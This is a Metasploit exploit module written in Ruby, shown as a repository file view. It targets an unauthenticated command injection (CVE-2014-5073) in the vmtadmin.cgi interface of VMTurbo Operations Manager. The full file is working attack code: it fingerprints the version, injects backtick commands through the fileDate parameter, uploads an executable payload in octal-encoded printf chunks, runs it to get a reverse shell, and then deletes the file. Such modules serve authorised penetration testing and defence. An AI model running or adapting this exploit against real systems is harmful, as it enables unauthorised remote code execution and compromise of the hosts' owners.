metasploit-framework/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noaut...

224 lines
6.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution',
'Description' => %q{
VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated
OS Command injection in the web interface. Use reverse payloads for the most
reliable results. Since it is a blind OS command injection vulnerability,
there is no output for the executed command when using the cmd generic payload.
Port binding payloads are disregarded due to the restrictive firewall settings.
This module has been tested successfully on VMTurbo Operations Manager 4.5 and
VMTurbo Operations Manager 4.6.
},
'Author' =>
[
2014-08-11 16:52:21 +00:00
# Secunia Research - Discovery and Metasploit module
'Emilio Pinna <emilio.pinn[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-5073'],
['OSVDB', '109572'],
['URL', 'http://secunia.com/secunia_research/2014-8/']
],
'DisclosureDate' => 'Jun 25 2014',
'Privileged' => false,
'Platform' => %w{ linux unix },
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => '-bind'
}
},
'Targets' =>
[
[ 'Unix CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'VMTurbo Operations Manager',
{
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/vmtadmin.cgi",
'vars_get' => {
"callType" => "ACTION",
"actionType" => "VERSIONS"
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{rhost}:#{rport} - Failed to connect to the web server")
return Exploit::CheckCode::Unknown
end
if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/
version = $2
build = $1
print_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected")
else
print_status("#{peer} - Unexpected vmtadmin.cgi response")
return Exploit::CheckCode::Unknown
end
if version and version <= "4.6"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def request(cmd)
begin
res = send_request_cgi({
'uri' => '/cgi-bin/vmtadmin.cgi',
'method' => 'GET',
'vars_get' => {
"callType" => "DOWN",
"actionType" => "CFGBACKUP",
"fileDate" => "\"`#{cmd}`\""
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
vprint_status("Sent command #{cmd}")
res
end
def unix_stager(data)
file_name = "/tmp/#{rand_text_alphanumeric(4+rand(4))}"
File.open(file_name, 'wb') { |f| f.write(data) }
unix_upload(file_name, data)
@to_delete = file_name
request("/bin/chmod +x #{file_name}")
request("#{file_name}&")
end
def unix_upload(file_name, data, append=false)
# This file uploader is used as early stager and follows the core
# function _write_file_unix_shell() in lib/msf/core/post/file.rb
redirect = (append ? '>>' : '>')
# Short-circuit an empty string. The : builtin is part of posix
# standard and should theoretically exist everywhere.
if data.length == 0
request(": #{redirect} #{file_name}")
return
end
d = data.dup
d.force_encoding('binary') if d.respond_to? :force_encoding
chunks = []
command = nil
cmd_name = ''
# Conservative.
line_max = 512
# Leave plenty of room for the filename we're writing to and the
# command to echo it out
line_max -= file_name.length
line_max -= 64
command = %q(/usr/bin/printf 'CONTENTS')
# each byte will balloon up to 4 when we encode
# (A becomes \x41 or \101)
max = line_max / 4
i = 0
while i < d.length
slice = d.slice(i...(i + max))
chunks << Rex::Text.to_octal(slice)
i += max
end
print_status("Sending payload to #{file_name} writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes")
# The first command needs to use the provided redirection for either
# appending or truncating.
cmd = command.sub('CONTENTS') { chunks.shift }
request("#{cmd} #{redirect} '#{file_name}'")
# After creating/truncating or appending with the first command, we
# need to append from here on out.
chunks.each { |chunk|
vprint_status("Next chunk is #{chunk.length} bytes")
cmd = command.sub('CONTENTS') { chunk }
request("#{cmd} >> '#{file_name}'")
}
true
end
def exploit
#
# Handle single command shot
#
if target.name =~ /CMD/
cmd = payload.encoded
res = request(cmd)
unless res
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown exploitation state")
return
end
@pl = generate_payload_exe
unless @pl
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Please set payload before to run exploit.")
return
end
unix_stager(@pl)
end
def on_new_session(client)
return unless defined? @to_delete
print_warning("Deleting #{@to_delete} payload file")
request("/bin/rm #{@to_delete}")
end
end